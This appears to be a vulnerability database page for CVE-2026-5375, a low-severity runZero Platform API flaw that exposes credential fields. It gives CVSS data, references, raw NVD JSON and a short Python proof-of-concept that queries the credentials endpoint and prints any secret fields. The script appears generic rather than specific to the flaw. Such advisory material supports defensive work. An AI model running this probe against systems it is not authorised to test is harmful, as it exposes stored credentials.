CVE-2026-5375

Description

An issue that could allow a user with access to a credential to view sensitive fields through an API response has been resolved. This is an instance of CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, and has an estimated CVSS score of CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N (2.7 Low). This issue was fixed in version 4.0.260203.0 of the runZero Platform.

CVSS Details

CVSS Score

2.7

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:runzero:runzero_platform:*:*:*:*:*:*:*:* - VULNERABLE

runZero Platform < 4.0.260203.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target API endpoint (Example)
target_url = "https://<runzero-host>/api/v1/credentials"

# Headers with authentication
headers = {
    "Authorization": "Bearer <ADMIN_TOKEN>",
    "Accept": "application/json"
}

try:
    # Send GET request to retrieve credential information
    response = requests.get(target_url, headers=headers, timeout=10)
    
    if response.status_code == 200:
        data = response.json()
        # Check for sensitive fields exposure
        if 'sensitive_data' in data or 'secret' in data:
            print("[+] Vulnerability Confirmed: Sensitive data exposed in API response.")
            print(f"[+] Data: {data}")
        else:
            print("[-] Sensitive data not found in response.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")

except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5375
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5375
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5375/
[4] VulDB https://vuldb.com/cve/CVE-2026-5375
[5] https://help.runzero.com/docs/release-notes/#402602030
[6] https://www.runzero.com/advisories/runzero-platform-api-cred-infoleak-cve-2026-5375/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5375", "sourceIdentifier": "44488dab-36db-4358-99f9-bc116477f914", "published": "2026-04-07T15:17:47.460", "lastModified": "2026-04-21T15:11:39.090", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue that could allow a user with access to a credential to view sensitive fields through an API response has been resolved. This is an instance of CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, and has an estimated CVSS score of CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N (2.7 Low). This issue was fixed in version 4.0.260203.0 of the runZero Platform."}], "metrics": {"cvssMetricV31": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:runzero:runzero_platform:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.260203.0", "matchCriteriaId": "E1543DB8-1DF4-40B2-B9D1-E1DE9BA10B22"}]}]}], "references": [{"url": "https://help.runzero.com/docs/release-notes/#402602030", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Release Notes"]}, {"url": "https://www.runzero.com/advisories/runzero-platform-api-cred-infoleak-cve-2026-5375/", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Vendor Advisory"]}]}}